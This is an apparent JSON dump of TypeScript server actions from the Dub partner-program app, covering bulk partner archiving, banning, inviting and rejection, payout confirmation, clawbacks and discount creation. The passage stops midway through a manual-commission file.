    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { bulkArchivePartnersSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const bulkArchivePartnersAction = authActionClient\n  .inputSchema(bulkArchivePartnersSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerIds } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        partnerId: {\n          in: partnerIds,\n        },\n        programId,\n        status: {\n          not: \"archived\",\n        },\n      },\n      select: {\n        id: true,\n        partner: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n          },\n        },\n      },\n    });\n\n    if (programEnrollments.length === 0) {\n      throw new Error(\"You must provide at least one valid partner ID.\");\n    }\n\n    await prisma.programEnrollment.updateMany({\n      where: {\n        partnerId: {\n          in: partnerIds,\n        },\n        programId,\n      },\n      data: {\n        status: \"archived\",\n      },\n    });\n\n    waitUntil(\n      recordAuditLog(\n        programEnrollments.map(({ partner }) => ({\n          workspaceId: workspace.id,\n          programId,\n          action: \"partner.archived\",\n          description: `Partner ${partner.id} archived`,\n          actor: user,\n          targets: [\n            {\n              type: \"partner\",\n              id: partner.id,\n              metadata: partner,\n            },\n          ],\n        })),\n      ),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/bulk-ban-partners.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { enqueueBatchJobs } from \"@/lib/cron/enqueue-batch-jobs\";\nimport { bulkBanPartnersSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const bulkBanPartnersAction = authActionClient\n  .inputSchema(bulkBanPartnersSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerIds, reason } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        partnerId: {\n          in: partnerIds,\n        },\n        programId,\n        status: {\n          not: \"banned\",\n        },\n      },\n      select: {\n        id: true,\n        programId: true,\n        partnerId: true,\n        partner: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n          },\n        },\n      },\n    });\n\n    // Don't throw an error if no partners are found, just return\n    if (programEnrollments.length === 0) {\n      return;\n    }\n\n    await prisma.programEnrollment.updateMany({\n      where: {\n        id: {\n          in: programEnrollments.map(({ id }) => id),\n        },\n      },\n      data: {\n        status: ProgramEnrollmentStatus.banned,\n        bannedAt: new Date(),\n        bannedReason: reason,\n        clickRewardId: null,\n        leadRewardId: null,\n        saleRewardId: null,\n        discountId: null,\n      },\n    });\n\n    await resolveFraudGroups({\n      where: {\n        programEnrollment: {\n          id: {\n            in: programEnrollments.map(({ id }) => id),\n          },\n        },\n      },\n      userId: user.id,\n      resolutionReason:\n        \"Resolved automatically because the partner was banned.\",\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog(\n          programEnrollments.map(({ partner }) => ({\n            workspaceId: workspace.id,\n            programId,\n            action: \"partner.banned\",\n            description: `Partner ${partner.id} banned`,\n            actor: user,\n            targets: [\n              {\n                type: \"partner\",\n                id: partner.id,\n                metadata: partner,\n              },\n            ],\n          })),\n        ),\n\n        enqueueBatchJobs(\n          programEnrollments.map(({ programId, partnerId }) => ({\n            queueName: \"ban-partner\",\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/ban`,\n            deduplicationId: `ban-${programId}-${partnerId}`,\n            body: {\n              programId,\n              partnerId,\n            },\n          })),\n        ),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/bulk-deactivate-partners.ts",
    "content": "\"use server\";\n\nimport { bulkDeactivatePartners } from \"@/lib/api/partners/bulk-deactivate-partners\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { bulkDeactivatePartnersSchema } from \"@/lib/zod/schemas/partners\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const bulkDeactivatePartnersAction = authActionClient\n  .inputSchema(bulkDeactivatePartnersSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerIds } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await bulkDeactivatePartners({\n      workspaceId: workspace.id,\n      programId,\n      partnerIds,\n      user,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/bulk-invite-partners.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { getGroupRewardsAndBounties } from \"@/lib/api/partners/get-group-rewards-and-bounties\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { bulkInvitePartnersSchema } from \"@/lib/zod/schemas/partners\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport ProgramInvite from \"@dub/email/templates/program-invite\";\nimport { prisma } from \"@dub/prisma\";\nimport { constructURLFromUTMParams, nanoid } from \"@dub/utils\";\nimport { prettyPrint } from \"@dub/utils/src\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { getProgramOrThrow } from \"../../api/programs/get-program-or-throw\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const bulkInvitePartnersAction = authActionClient\n  .inputSchema(bulkInvitePartnersSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { groupId, emails } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const uniqueRecipientEmails = [...new Set(emails)];\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n      include: {\n        groups: {\n          where: groupId\n            ? { id: groupId }\n            : { slug: DEFAULT_PARTNER_GROUP.slug },\n          include: {\n            partnerGroupDefaultLinks: true,\n            utmTemplate: true,\n          },\n        },\n        partners: {\n          where: {\n            partner: {\n              email: {\n                in: uniqueRecipientEmails,\n              },\n            },\n          },\n          include: {\n            partner: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        },\n        emailDomains: {\n          where: {\n            status: \"verified\",\n          },\n        },\n      },\n    });\n\n    const alreadyEnrolledEmails = new Set(\n      program.partners.map((p) => p.partner.email).filter(Boolean),\n    );\n\n    // Filter out emails that are already enrolled\n    const emailsToInvite = uniqueRecipientEmails.filter(\n      (email) => !alreadyEnrolledEmails.has(email),\n    );\n\n    if (emailsToInvite.length === 0) {\n      return {\n        invitedCount: 0,\n        skippedCount: alreadyEnrolledEmails.size,\n      };\n    }\n\n    if (program.groups.length === 0) {\n      throw new Error(\"Invalid group ID provided.\");\n    }\n\n    const { count: createdPartnersCount } = await prisma.partner.createMany({\n      data: emailsToInvite.map((email) => ({\n        id: createId({ prefix: \"pn_\" }),\n        email,\n        name: email,\n      })),\n      skipDuplicates: true,\n    });\n\n    console.log(\n      `Created ${createdPartnersCount} out of ${emailsToInvite.length} provided partners (${emailsToInvite.length - createdPartnersCount} already exist on Dub)`,\n    );\n\n    // Fetch the created partners\n    const partners = await prisma.partner.findMany({\n      where: {\n        email: {\n          in: emailsToInvite,\n        },\n      },\n      select: {\n        id: true,\n        email: true,\n        name: true,\n      },\n    });\n\n    const group = program.groups[0];\n    const partnerGroupDefaultLinks = group.partnerGroupDefaultLinks;\n    const utmTemplate = group.utmTemplate;\n\n    const { count: invitedCount } = await prisma.programEnrollment.createMany({\n      data: partners.map((partner) => ({\n        id: createId({ prefix: \"pge_\" }),\n        programId,\n        partnerId: partner.id,\n        status: \"invited\",\n        groupId: group.id,\n        clickRewardId: group.clickRewardId,\n        leadRewardId: group.leadRewardId,\n        saleRewardId: group.saleRewardId,\n        discountId: group.discountId,\n      })),\n      skipDuplicates: true,\n    });\n\n    console.log(\n      `Created ${invitedCount} program enrollments with status \"invited\"`,\n    );\n\n    waitUntil(\n      (async () => {\n        // Create default links for the partners for each group default link\n        for (const partnerGroupDefaultLink of partnerGroupDefaultLinks) {\n          const links = await bulkCreateLinks({\n            links: partners.map((partner) => ({\n              domain: partnerGroupDefaultLink.domain,\n              key: `${slugify(partner.email!.split(\"@\")[0])}-${nanoid(4)}`,\n              url: constructURLFromUTMParams(\n                partnerGroupDefaultLink.url,\n                extractUtmParams(utmTemplate),\n              ),\n              ...extractUtmParams(utmTemplate, { excludeRef: true }),\n              projectId: workspace.id,\n              programId: program.id,\n              partnerId: partner.id,\n              userId: user.id,\n              folderId: program.defaultFolderId,\n              partnerGroupDefaultLinkId: partnerGroupDefaultLink.id,\n            })),\n          });\n\n          console.log(\n            `Created ${links.length} links for the partner for the default link ${partnerGroupDefaultLink.id}`,\n          );\n        }\n\n        const rewardsAndBounties = await getGroupRewardsAndBounties({\n          programId,\n          groupId: groupId || program.defaultGroupId,\n        });\n\n        const inviteEmailData = program.inviteEmailData;\n        const emailDomains = program.emailDomains;\n\n        const { data: resendData } = await sendBatchEmail(\n          partners.map((partner) => ({\n            subject:\n              inviteEmailData?.subject ||\n              `${program.name} invited you to join Dub Partners`,\n            variant: \"notifications\",\n            from:\n              emailDomains.length > 0\n                ? `${program.name} <partners@${emailDomains[0].slug}>`\n                : undefined,\n            to: partner.email!,\n            replyTo: program.supportEmail || \"noreply\",\n            react: ProgramInvite({\n              email: partner.email!,\n              name: partner.name,\n              program: {\n                name: program.name,\n                slug: program.slug,\n                logo: program.logo,\n              },\n              ...(inviteEmailData?.subject && {\n                subject: inviteEmailData.subject,\n              }),\n              ...(inviteEmailData?.title && { title: inviteEmailData.title }),\n              ...(inviteEmailData?.body && { body: inviteEmailData.body }),\n              ...rewardsAndBounties,\n            }),\n          })),\n        );\n\n        console.log(\n          `Sent invitation emails to ${emailsToInvite.length} partners. ${prettyPrint(resendData)}`,\n        );\n\n        await recordAuditLog(\n          partners.map((partner) => ({\n            workspaceId: workspace.id,\n            programId,\n            action: \"partner.invited\",\n            description: `Partner ${partner.id} invited`,\n            actor: user,\n            targets: [\n              {\n                type: \"partner\",\n                id: partner.id,\n                metadata: partner,\n              },\n            ],\n          })),\n        );\n      })(),\n    );\n\n    return {\n      invitedCount,\n      skippedCount: alreadyEnrolledEmails.size,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/bulk-reject-partner-applications.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { reportFraudToNetwork } from \"@/lib/api/fraud/report-fraud-to-network\";\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { bulkRejectPartnersSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Reject a list of pending partners\nexport const bulkRejectPartnerApplicationsAction = authActionClient\n  .inputSchema(bulkRejectPartnersSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerIds, reportFraud } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        programId,\n        status: \"pending\",\n        partnerId: {\n          in: partnerIds,\n        },\n      },\n      select: {\n        id: true,\n        partner: true,\n      },\n    });\n\n    if (programEnrollments.length === 0) {\n      return;\n    }\n\n    await prisma.programEnrollment.updateMany({\n      where: {\n        id: {\n          in: programEnrollments.map(({ id }) => id),\n        },\n      },\n      data: {\n        status: ProgramEnrollmentStatus.rejected,\n        clickRewardId: null,\n        leadRewardId: null,\n        saleRewardId: null,\n        discountId: null,\n      },\n    });\n\n    await resolveFraudGroups({\n      where: {\n        programEnrollment: {\n          id: {\n            in: programEnrollments.map(({ id }) => id),\n          },\n        },\n      },\n      userId: user.id,\n      resolutionReason:\n        \"Resolved automatically because the partner application was rejected.\",\n    });\n\n    const rejectedPartnerIds = [\n      ...new Set(programEnrollments.map((pe) => pe.partner.id)),\n    ];\n\n    waitUntil(\n      (async () => {\n        await Promise.allSettled([\n          recordAuditLog(\n            programEnrollments.map(({ partner }) => ({\n              workspaceId: workspace.id,\n              programId,\n              action: \"partner_application.rejected\",\n              description: `Partner application rejected for ${partner.id}`,\n              actor: user,\n              targets: [\n                {\n                  type: \"partner\",\n                  id: partner.id,\n                  metadata: partner,\n                },\n              ],\n            })),\n          ),\n\n          reportFraud && rejectedPartnerIds.length > 0\n            ? reportFraudToNetwork({\n                programId,\n                partnerIds: rejectedPartnerIds,\n              })\n            : Promise.resolve(),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/confirm-payouts.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getEligiblePayouts } from \"@/lib/api/payouts/get-eligible-payouts\";\nimport { getPayoutEligibilityFilter } from \"@/lib/api/payouts/payout-eligibility-filter\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport {\n  CUTOFF_PERIOD_MAX_PAYOUTS,\n  DIRECT_DEBIT_PAYMENT_METHOD_TYPES,\n  INVOICE_MIN_PAYOUT_AMOUNT_CENTS,\n  PAYMENT_METHOD_TYPES,\n  STRIPE_PAYMENT_METHOD_NORMALIZATION,\n} from \"@/lib/constants/payouts\";\nimport { qstash } from \"@/lib/cron\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { CUTOFF_PERIOD_ENUM } from \"@/lib/partners/cutoff-period\";\nimport { stripe } from \"@/lib/stripe\";\nimport { checkPaymentMethodMandate } from \"@/lib/stripe/check-payment-method-mandate\";\nimport { getWebhooks } from \"@/lib/webhook/get-webhooks\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst confirmPayoutsSchema = z.object({\n  workspaceId: z.string(),\n  paymentMethodId: z.string(),\n  cutoffPeriod: CUTOFF_PERIOD_ENUM,\n  selectedPayoutId: z.string().optional(),\n  excludedPayoutIds: z.array(z.string()).optional(),\n  fastSettlement: z.boolean().optional().default(false),\n  amount: z.number(),\n  fee: z.number(),\n  total: z.number(),\n});\n\n// Confirm payouts\nexport const confirmPayoutsAction = authActionClient\n  .inputSchema(confirmPayoutsSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const {\n      paymentMethodId,\n      cutoffPeriod,\n      selectedPayoutId,\n      excludedPayoutIds,\n      fastSettlement,\n      amount,\n      fee,\n      total,\n    } = parsedInput;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"payouts.write\"],\n    });\n\n    if (!workspace.stripeId) {\n      throw new Error(\"Workspace does not have a valid Stripe ID.\");\n    }\n\n    if (fastSettlement && !workspace.fastDirectDebitPayouts) {\n      throw new Error(\n        \"Fast settlement is not enabled for this program. Contact sales to enable it.\",\n      );\n    }\n\n    // if workspace's payouts usage + the current invoice amount\n    // is greater than the workspace's payouts limit, throw an error\n    if (workspace.payoutsUsage + amount > workspace.payoutsLimit) {\n      throw new Error(\n        exceededLimitError({\n          plan: workspace.plan,\n          limit: workspace.payoutsLimit,\n          type: \"payouts\",\n        }),\n      );\n    }\n\n    if (amount < INVOICE_MIN_PAYOUT_AMOUNT_CENTS) {\n      throw new Error(\n        \"Your payout total is less than the minimum invoice amount of $10.\",\n      );\n    }\n\n    // TODO: Remove this once we can support cutoff periods for invoices with > 1,000 payouts\n    if (cutoffPeriod) {\n      const totalEligiblePayouts = await prisma.payout.aggregate({\n        where: {\n          ...(selectedPayoutId\n            ? { id: selectedPayoutId }\n            : excludedPayoutIds && excludedPayoutIds.length > 0\n              ? { id: { notIn: excludedPayoutIds } }\n              : {}),\n          ...getPayoutEligibilityFilter({ program, workspace }),\n        },\n        _count: true,\n      });\n\n      if (totalEligiblePayouts._count > CUTOFF_PERIOD_MAX_PAYOUTS) {\n        throw new Error(\n          `You cannot specify a cutoff period when the number of eligible payouts is greater than ${CUTOFF_PERIOD_MAX_PAYOUTS}.`,\n        );\n      }\n    }\n\n    if (program.payoutMode !== \"internal\") {\n      const [eligiblePayouts, payoutWebhooks] = await Promise.all([\n        getEligiblePayouts({\n          program,\n          workspace,\n          cutoffPeriod,\n          selectedPayoutId,\n          excludedPayoutIds,\n          page: 1,\n          pageSize: Infinity,\n        }),\n\n        getWebhooks({\n          workspaceId: workspace.id,\n          triggers: [\"payout.confirmed\"],\n          disabled: false,\n          installationId: null,\n        }),\n      ]);\n\n      // Check if the invoice includes any external payouts\n      const hasExternalPayouts = eligiblePayouts.find(\n        (payout) => payout.mode === \"external\",\n      );\n\n      if (hasExternalPayouts && payoutWebhooks.length === 0) {\n        throw new Error(\n          `EXTERNAL_WEBHOOK_REQUIRED: This invoice includes at least one external payout, which requires an active webhook subscribed to the \"payout.confirmed\" event. Please set one up before proceeding.`,\n        );\n      }\n    }\n\n    const paymentMethod = await stripe.paymentMethods.retrieve(paymentMethodId);\n\n    if (paymentMethod.customer !== workspace.stripeId) {\n      throw new Error(\"Invalid payout method.\");\n    }\n\n    if (!PAYMENT_METHOD_TYPES.includes(paymentMethod.type)) {\n      throw new Error(\n        `We only support ${PAYMENT_METHOD_TYPES.join(\n          \", \",\n        )} for now. Please update your payout method to one of these.`,\n      );\n    }\n\n    if (fastSettlement && paymentMethod.type !== \"us_bank_account\") {\n      throw new Error(\"Fast settlement is only supported for ACH payment.\");\n    }\n\n    // if it's a direct debit payment method, we need to check to make sure mandate is valid\n    if (DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(paymentMethod.type)) {\n      const mandate = await checkPaymentMethodMandate({\n        paymentMethodId,\n      });\n\n      if (!mandate) {\n        // if mandate is not valid, remove the payment method\n        await stripe.paymentMethods.detach(paymentMethodId);\n        throw new Error(\n          \"No active mandate found for this bank account. Please set up a new bank account for payouts under your billing settings page.\",\n        );\n      }\n    }\n\n    const invoice = await prisma.$transaction(async (tx) => {\n      // Generate the next invoice number by counting the number of invoices for the workspace\n      const totalInvoices = await tx.invoice.count({\n        where: {\n          workspaceId: workspace.id,\n        },\n      });\n\n      const paddedNumber = String(totalInvoices + 1).padStart(4, \"0\");\n      const invoiceNumber = `${workspace.invoicePrefix}-${paddedNumber}`;\n\n      // Create the invoice and return it\n      return await tx.invoice.create({\n        data: {\n          id: createId({ prefix: \"inv_\" }),\n          number: invoiceNumber,\n          programId,\n          workspaceId: workspace.id,\n          // these numbers will be updated later in the payouts/process cron job\n          // but we're adding them now for the program/payouts/success screen\n          amount,\n          fee,\n          total,\n          paymentMethod: fastSettlement\n            ? \"ach_fast\"\n            : STRIPE_PAYMENT_METHOD_NORMALIZATION[paymentMethod.type],\n          payoutMode: program.payoutMode,\n        },\n      });\n    });\n\n    // Send the message to Qstash to process the payouts\n    const qstashResponse = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/process`,\n      body: {\n        workspaceId: workspace.id,\n        userId: user.id,\n        invoiceId: invoice.id,\n        paymentMethodId,\n        cutoffPeriod,\n        selectedPayoutId,\n        excludedPayoutIds,\n      },\n      deduplicationId: `process-payouts-${invoice.id}`,\n    });\n\n    if (qstashResponse.messageId) {\n      console.log(`Message sent to Qstash with id ${qstashResponse.messageId}`);\n    } else {\n      console.error(\"Error sending message to Qstash\", qstashResponse);\n    }\n\n    return {\n      invoiceId: invoice.id,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-bounty-submission.ts",
    "content": "\"use server\";\n\nimport { BountySubmissionHandler } from \"@/lib/bounty/api/create-bounty-submission\";\nimport { createBountySubmissionInputSchema } from \"@/lib/zod/schemas/bounties\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nexport const createBountySubmissionAction = authPartnerActionClient\n  .inputSchema(createBountySubmissionInputSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner } = ctx;\n\n    const handler = new BountySubmissionHandler({\n      ...parsedInput,\n      partner,\n    });\n\n    await handler.submit();\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-clawback.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport { createClawbackSchema } from \"@/lib/zod/schemas/commissions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const createClawbackAction = authActionClient\n  .inputSchema(createClawbackSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const { partnerId, amount, description } = parsedInput;\n\n    await getProgramEnrollmentOrThrow({\n      programId,\n      partnerId,\n      include: {},\n    });\n\n    await createPartnerCommission({\n      event: \"custom\",\n      partnerId,\n      programId,\n      description,\n      amount: -amount,\n      quantity: 1,\n      user,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-discount.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { qstash } from \"@/lib/cron\";\nimport { stripeAppClient } from \"@/lib/stripe\";\nimport {\n  dubDiscountToStripeCoupon,\n  stripeCouponToDubDiscount,\n  validateStripeCouponForDubDiscount,\n} from \"@/lib/stripe/coupon-discount-converter\";\nimport { createDiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, truncate } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { Stripe } from \"stripe\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\nexport const createDiscountAction = authActionClient\n  .inputSchema(createDiscountSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    let {\n      amount,\n      type,\n      maxDuration,\n      couponId,\n      couponTestId,\n      groupId,\n      autoProvision,\n    } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const group = await getGroupOrThrow({\n      groupId,\n      programId,\n    });\n\n    if (group.discountId) {\n      throw new Error(\n        `You can't create a discount for this group because it already has a discount.`,\n      );\n    }\n\n    if (!workspace.stripeConnectId) {\n      throw new Error(\n        \"STRIPE_CONNECTION_REQUIRED: Your workspace isn't connected to Stripe yet. Please install the Dub Stripe app in settings to create discount.\",\n      );\n    }\n\n    let stripeCoupon: Stripe.Coupon | undefined;\n    try {\n      if (couponId) {\n        stripeCoupon = await stripe.coupons.retrieve(couponId, {\n          stripeAccount: workspace.stripeConnectId,\n        });\n\n        // Validate the Stripe coupon can be converted to a Dub discount\n        const validation = validateStripeCouponForDubDiscount(stripeCoupon);\n        if (!validation.isValid) {\n          throw new Error(\n            `Invalid Stripe coupon: ${validation.errors.join(\", \")}`,\n          );\n        }\n\n        // Convert Stripe coupon to Dub discount attributes\n        const dubDiscountAttrs = stripeCouponToDubDiscount(stripeCoupon);\n        amount = dubDiscountAttrs.amount;\n        type = dubDiscountAttrs.type;\n        maxDuration = dubDiscountAttrs.maxDuration;\n\n        // if there is no couponId provided, we need to create a new coupon on Stripe\n      } else {\n        const stripeCouponData = dubDiscountToStripeCoupon({\n          name: `Dub Discount (${truncate(group.name, 25)})`,\n          amount,\n          type,\n          maxDuration: maxDuration ?? null,\n        });\n\n        stripeCoupon = await stripe.coupons.create(stripeCouponData, {\n          stripeAccount: workspace.stripeConnectId,\n        });\n      }\n    } catch (error) {\n      throw new Error(\n        error.code === \"more_permissions_required_for_application\"\n          ? \"STRIPE_APP_UPGRADE_REQUIRED: Your connected Stripe account doesn't have the permissions needed to create discount codes. Please upgrade your Stripe integration in settings or reach out to our support team for help.\"\n          : error.code === \"resource_missing\"\n            ? `The coupon ID you provided (${couponId}) was not found in your Stripe account. Please check the coupon ID and try again.`\n            : error.message,\n      );\n    }\n\n    // Create the discount and update the group and program enrollment\n    const discount = await prisma.$transaction(async (tx) => {\n      const discount = await tx.discount.create({\n        data: {\n          id: createId({ prefix: \"disc_\" }),\n          programId,\n          amount,\n          type,\n          maxDuration,\n          couponId: stripeCoupon?.id || couponId,\n          ...(couponTestId && { couponTestId }),\n          ...(autoProvision && { autoProvisionEnabledAt: new Date() }),\n        },\n      });\n\n      await tx.partnerGroup.update({\n        where: {\n          id: groupId,\n        },\n        data: {\n          discountId: discount.id,\n        },\n      });\n\n      await tx.programEnrollment.updateMany({\n        where: {\n          groupId,\n        },\n        data: {\n          discountId: discount.id,\n        },\n      });\n\n      await tx.discountCode.updateMany({\n        where: {\n          programEnrollment: {\n            groupId,\n          },\n        },\n        data: {\n          discountId: discount.id,\n        },\n      });\n\n      return discount;\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/links/invalidate-for-discounts`,\n          body: {\n            groupId,\n          },\n        }),\n\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"discount.created\",\n          description: `Discount ${discount.id} created`,\n          actor: user,\n          targets: [\n            {\n              type: \"discount\",\n              id: discount.id,\n              metadata: discount,\n            },\n          ],\n        }),\n\n        ...(discount.autoProvisionEnabledAt\n          ? [\n              qstash.publishJSON({\n                url: `${APP_DOMAIN_WITH_NGROK}/api/cron/discount-codes/create/queue-batches`,\n                body: {\n                  discountId: discount.id,\n                },\n              }),\n            ]\n          : []),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-manual-commission.ts",
    "content": "\"use server\";\n\nimport { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { getCustomerStripeInvoices } from \"@/lib/api/customers/get-customer-stripe-invoices\";\nimport { updateLinkStatsForImporter } from \"@/lib/api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport {\n  createPartnerCommission,\n  CreatePartnerCommissionProps,\n} from \"@/lib/partners/create-partner-commission\";\nimport {\n  recordClickZod,\n  recordClickZodSchema,\n} from \"@/lib/tinybird/record-click-zod\";\nimport { recordLeadWithTimestamp } from \"@/lib/tinybird/record-lead\";\nimport { recordSaleWithTimestamp } from \"@/lib/tinybird/record-sale\";\nimport { createCommissionSchema } from \"@/lib/zod/schemas/commissions\";\nimport { leadEventSchemaTB } from 